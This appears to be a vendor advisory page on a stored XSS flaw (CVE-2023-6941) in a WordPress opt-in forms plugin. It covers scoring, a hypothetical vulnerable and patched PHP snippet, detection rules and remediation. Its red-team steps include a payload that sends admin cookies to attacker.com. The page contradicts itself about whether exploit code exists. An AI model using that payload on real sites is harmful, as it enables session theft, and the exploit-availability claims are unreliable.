CVE-2023-6941
Executive Summary
CVE-2023-6941 is a Stored Cross-Site Scripting (XSS) vulnerability in the Keap Official Opt-in Forms WordPress plugin, affecting versions up to and including 1.0.11. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript into the WordPress admin panel. This attack can succeed even when the unfiltered_html capability is disallowed, such as in multisite configurations. The vulnerability has a low CVSS score (0.0 in NVD, but realistically around 4.8) due to the requirement for high privileges and user interaction. No public exploit code or proof-of-concept is available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should treat this as a supply chain risk: the plugin is a third-party component integrated into the WordPress ecosystem. No known malicious packages or compromised updates have been reported, but the lack of a patch means sites using this plugin remain exposed.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the compromised admin page
- Scope: Changed (S:C) – the injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires admin credentials, but in a multisite environment, a site administrator can compromise the entire network. The lack of a patch increases the risk for unmaintained sites.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings page, where user-supplied values are stored without proper sanitization or output escaping. When an admin saves a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting, the payload is stored in the WordPress database. Later, when another admin (or the same admin) views the settings page, the payload is rendered unsanitized, executing the JavaScript in the context of the admin panel.
The attack bypasses the unfiltered_html capability check because the plugin uses its own rendering logic that does not apply WordPress's built-in escaping functions (like esc_html() or wp_kses()). In a multisite setup, a site administrator (who does not have unfiltered_html) can still inject XSS, affecting super admins who visit the compromised site's settings.
Attack Flow:
- Attacker (with admin privileges on a site) navigates to the plugin settings.
- Attacker inputs a malicious JavaScript payload into a vulnerable field.
- The plugin stores the payload without sanitization.
- A victim (e.g., super admin) visits the same settings page.
- The payload executes, potentially stealing cookies, performing actions on behalf of the victim, or defacing the admin panel.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical example based on plugin behavior):
// In a settings field rendering function
function render_setting($option_name) {
$value = get_option($option_name);
echo '<input type="text" name="' . $option_name . '" value="' . $value . '" />';
}
The $value is echoed directly without escaping, allowing XSS.
Patched Code (recommended fix):
function render_setting($option_name) {
$value = get_option($option_name);
echo '<input type="text" name="' . esc_attr($option_name) . '" value="' . esc_attr($value) . '" />';
}
Using esc_attr() escapes the value for safe HTML attribute output. Additionally, the plugin should use sanitize_text_field() or wp_kses() when saving options.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Keap Official Opt-in Forms plugin <= 1.0.11.
- Admin-level credentials for a site (or network admin in multisite).
Steps:
- Log in as an admin.
- Navigate to the plugin settings (e.g.,
/wp-admin/admin.php?page=keap-optin-settings). - Identify a vulnerable text field (e.g., "Custom CSS" or "Footer Script").
- Inject a payload such as:
Or a more sophisticated payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the settings.
- Wait for a higher-privileged user (e.g., super admin) to visit the same page.
Note: No public exploit code exists; this is a manual exploitation scenario.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to plugin settings via audit logs (e.g., using WP Activity Log plugin).
- Look for suspicious JavaScript in the
wp_optionstable, specifically options prefixed withkeap_. - Use a Web Application Firewall (WAF) to block common XSS payloads in admin requests.
Hardening:
- Disable the plugin if not essential.
- Restrict admin access to trusted users only.
- Apply the principle of least privilege: do not grant
unfiltered_htmlto untrusted users. - Use a security plugin (e.g., Wordfence) to add extra input validation.
Indicators of Compromise (IOCs)
- File System: No specific files; the payload is stored in the database.
- Database: Suspicious entries in
wp_optionstable with option names likekeap_*containing<script>tags or event handlers. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
- Logs: Unusual admin panel access patterns or failed login attempts from the same IP.
Example IOC (database query):
SELECT * FROM wp_options WHERE option_name LIKE 'keap_%' AND option_value LIKE '%<script%';
Detection Engineering
YARA Rule
rule CVE_2023_6941_Keap_XSS {
meta:
description = "Detects stored XSS payloads in Keap Official Opt-in Forms plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6941"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Keap Official Opt-in Forms Stored XSS
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Keap plugin settings via admin panel
author: Valters IT
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Example: WP Activity Log event for option update
Object: 'wp_options'
Data|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6941 Keap XSS Payload in Admin Request"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"keap"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to operations.
- Manually patch by adding escaping functions to the plugin's settings rendering code (see Vulnerable vs. Patched Code section).
- Restrict admin access to only trusted users.
Long-term:
- Monitor the plugin's repository for an official patch.
- Consider replacing the plugin with an alternative that is actively maintained.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Regularly audit WordPress plugins for vulnerabilities.
Workaround: If the plugin must remain active, use a security plugin to add input sanitization on the admin side (e.g., Wordfence's firewall rules).
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.